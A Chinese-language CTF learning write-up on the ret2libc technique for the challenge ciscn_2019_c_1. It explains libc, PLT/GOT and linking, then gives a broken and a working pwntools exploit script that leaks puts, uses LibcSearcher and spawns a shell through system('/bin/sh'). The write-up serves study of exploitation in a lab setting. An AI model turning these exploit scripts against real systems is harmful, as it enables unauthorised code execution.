记录一下我做pwn--ret2libc题目的学习过程。(零基础)
一.适用范围
1)存在溢出 2)无后门 3)开了NX保护
二.原理
1.原理:
利用栈溢出,使程序执行存在于libc中的函数,从而得到system(/bin/sh)。
2.解决办法:
泄露libc,找到system(/bin/sh)的真正地址:真正地址=基地址+偏移地址
a.基地址:同一次运行相同,运行第二次就不一样了。
每次运行都在变,导致函数的真正地址一直在变。
突破口:后三位不变。
b.偏移地址:与libc的版本有关。
3.步骤:
1)通过puts()等函数泄露其真正地址
2)通过LibcSearcher获得libc版本
3)通过公式得到真正地址
三.关于libc
1.从c程序到二进制可执行文件
需要经过四个步骤:
c语言源码(main.c) ----预处理--->
根据以字符#开头的命令修给原始的C程序,结果得到另一个C程序(main.i)----编译---->
相应的汇编语言程序(main.s) -----汇编---->
相应的机器语言指令(将.s文件翻译成机器语言指令,把这些指令打包成一种叫做可重定位目标程序的格式)(main.o) -----链接---->
如果程序中调用了函数库中的函数(即库函数),则需要链接。其后缀名一般为.a。(main.a)
(函数库一般分为静态库和动态库两种。静态库是指编译链接时,把库文件的代码全部加入到可执行文件中,因此生成的文件比较大,但在运行时也就不再需要库文件了。其后缀名一般为.a。动态库与之相反,在编译链接时并没有把库文件的代码加入到可执行文件中,而是在程序执行时由运行时链接文件加载库,这样可以节省系统的开销。动态库一般后缀名为.so,gcc在编译时默认使用动态库。)
2.libc和glibc
libc是Linux下原来的标准C库,也就是当初写hello world时包含的头文件#include < stdio.h> 定义的地方,后来逐渐被glibc取代,也就是传说中的GNU C Library,在此之前除了有libc,还有klibc,uclibc。现在只要知道用的最多的是glibc就行了。
3.PLT&GOT
linux下的动态链接是通过PLT&GOT来实现的.
库函数存在于glibc 动态库中,所以它的位置只有在运行的时候才能知道。要想获得它的位置,我们需要两个东西:
plt表(程序链接表):存放额外代码(用来获取数据段记录的外部函数地址的代码)的表
got表(全局偏移表):存放外部的函数地址的数据表
通过这两个东西就可以得到它的地址。
4.编译器的工作
源文件首先被编译器编译生成目标文件,目标文件种有三段内容:数据段、代码段以及符号表,所有的函数定义被放在了代码段,全局变量的定义放在了数据段,对外部变量的引用放到了符号表。
编译器在将源文件编译生成目标文件时可以确定一下两件事:
定义在该源文件中函数的内存地址
定义在该源文件中全局变量的内存地址
待后续补充。。。
5.链接器-->重定位
程序的运行过程就是CPU不断的从内存中取出指令然后执行执行的过程,
问:如何函数以及数据的内存地址?
答:可执行文件中代码以及数据的运行时内存地址是链接器指定的。
确定程序运行时地址的过程就是重定位。
之所以叫做重定位是因为确定可执行文件中代码和数据的运行时地址是分为两个阶段的,
1)合并同类型段
2)引用符号的重定位
待后续补充。。。
6.延迟绑定
pwn基本ROP——ret2libc_pwn ret2libc-CSDN博客
可以看看这两位大佬写的,下面这张图是第二个师傅文章中相关的介绍。
四、题目
ciscn_2019_c_1
查保护–>看链接类型–>赋予程序可执行权限–>试运行
64位,小端序
开启部分RELRO---got表仍可写
未开启canary保护---存在栈溢出
开启NX保护----注入的shellcode不可执行
未开启PIE----程序地址为真实地址
ida查看伪代码
- 输入 1:调用
encrypt()
函数执行加密操作,然后重新显示主菜单。 - 输入 2:输出一条提示消息,然后重新显示主菜单。
- 输入 3:输出 "Bye!" 并退出程序
所以,1选项比较有用,进encrypt()看一下,,,
发现了gets()栈溢出漏洞,那就fn+shift+f12看一下字符串,没发现system(“/bin/sh”)
那就用ret2libc的方法,我们泄露一下libc的版本,从库中取system(“/bin/sh”)。
做的时候看到gets()就有点子兴奋,忘了看下面的加密过程会对我们构造的payload进行破坏,,,,嗯,做题还是得冷静一点。
仔细研读一下这个加密过程,发现有
if ( v0 >= strlen(s) )
break;
!!!strlen( ) 的特性:遇到'\x00'就会停下来。那只要我们把‘\x00‘放在前面,我们的payload就不会被破坏啦!
构造exp
注意注意,这是64位程序,是“先传参”。
64位程序的ret2libc的基本流程就是:泄露libc版本,找到system(/bin/sh)的真正地址。
我写的第一次的exp(这是错的,最开始写的版本)
from pwn import *
from LibcSearcher import * #引入 LibcSearcher 模块,自动获取libc版本。
p=process('./ciscn')
#p=remote('',)
e = ELF("./ciscn") #调用题目的elf文件
context(log_level = ‘debug‘) #设置日志级别为调试模式,获得更详细的日志输出。
p.sendlineafter('Input your choice!\n','1') #先给v4赋值为1,进入encrypt()
offset=0x50+0x8
pop_rdi_ret=0x0000000000400c83
ret=0x00000000004006b9
main=0x400B28
puts_plt=elf.plt['puts']
puts_got=elf.got['puts'] #泄露libc版本的时候要使用已经执行过的函数,由于在进入encrypt()时执行过puts(),那我们就用它
payload='\0'+b'a'*offset +p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) #我觉得这里直接返回到encrypt也ok的
#返回地址填成main()是为了二次利用gets()栈溢出漏洞
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
#接下来就是接收数据,,,
p.recvline()
p.recvline() #接收两个encrypt()函数中执行的两个puts的函数输出。
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0')) #这不太懂为啥接收到\n,而且还要去掉最后一个字节,再填充成转换为一个 8 字节的无符号整数。
#去掉一个字节是因为还接收到了换行符,我们需要把它去掉。
#确定libc版本
libc=LibcSearcher("puts",puts_addr)
#得到基地址
libc_base=puts_addr-libc.dump("puts")
#得到system()和'/bin/sh'的地址
system_addr=libc_base+libc.dump("system")
binsh_addr=libc_base+libc.dump("str_bin_sh")
#二次利用栈溢出漏洞
p.sendlineafter('Input your choice!\n','1')
payload='\0'+b'a'*offset+p64(ret)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)
#p64(ret)是为了跳出子程序,p64(pop_rdi_ret)是为了给system()函数传参。
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
注意注意
- '\0'前要加b---在Python中,使用b前缀将字符串转换为字节字符串,'\0'前加上b表示字节字符串中的空字符。
- 要用''(英文输入法)而不是‘’
- 接收数据那儿有大大大问题。。。。。。
这是修改了n次之后的exp(调试过后能用的)
from pwn import *
from LibcSearcher import * #引入 LibcSearcher 模块,自动获取libc版本。
#p=process('./ciscn')
p=remote('node5.buuoj.cn',25711)
elf = ELF("./ciscn") #调用题目的elf文件
context(log_level='debug') # 设置日志级别为调试模式,获得更详细的日志输出。
p.sendlineafter('Input your choice!\n','1') #先给v4赋值为1,进入encrypt()
offset=0x50+0x8-1
pop_rdi_ret=0x0000000000400c83
ret=0x00000000004006b9
main=0x400B28
puts_plt=elf.plt['puts']
puts_got=elf.got['puts'] #泄露libc版本的时候要使用已经执行过的函数,由于在进入encrypt()时执行过puts(),那我们就用它
payload=b'\0'+b'a'*offset +p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) #我觉得这里直接返回到encrypt也ok的
#返回地址填成main()是为了二次利用gets()栈溢出漏洞
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
#接下来就是接收数据,,,
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))#这不太懂为啥接收到\n,而且还要去掉最后一个字节,再填充成转换为一个 8 字节的无符号整数。
#确定libc版本
libc=LibcSearcher("puts",puts_addr)
#得到基地址
libc_base=puts_addr-libc.dump("puts")
#得到system()和'/bin/sh'的地址
system_addr=libc_base+libc.dump("system")
binsh_addr=libc_base+libc.dump("str_bin_sh")
#二次利用栈溢出漏洞
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*offset+p64(ret)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)
#p64(ret)是为了跳出子程序,p64(pop_rdi_ret)是为了给system()函数传参。
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
在运行exp.py的过程中会遇到:
让你进行输入,输入1,会帮你匹配相应的libc版本。
终于。。。。。
总结
总结一下解题中遇到的问题:
- 细节问题:计算偏移量时一定不要死套公式,你加了一个b'/0'就肯定得-1呀,,,,这个问题真的对我自己无语了。。。e = ELF("./ciscn") 前面写的e,后面转手就elf.plt。。。
- 接收数据问题:这个得动态调试一下子,或者你直接
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
使用recvuntil('\x7f')
来接收以\x7f
开头的字符串,这通常是ELF文件中有效地址的特征。然后,你取接收到的字符串的最后6个字节,并将其填充为8字节的无符号整数。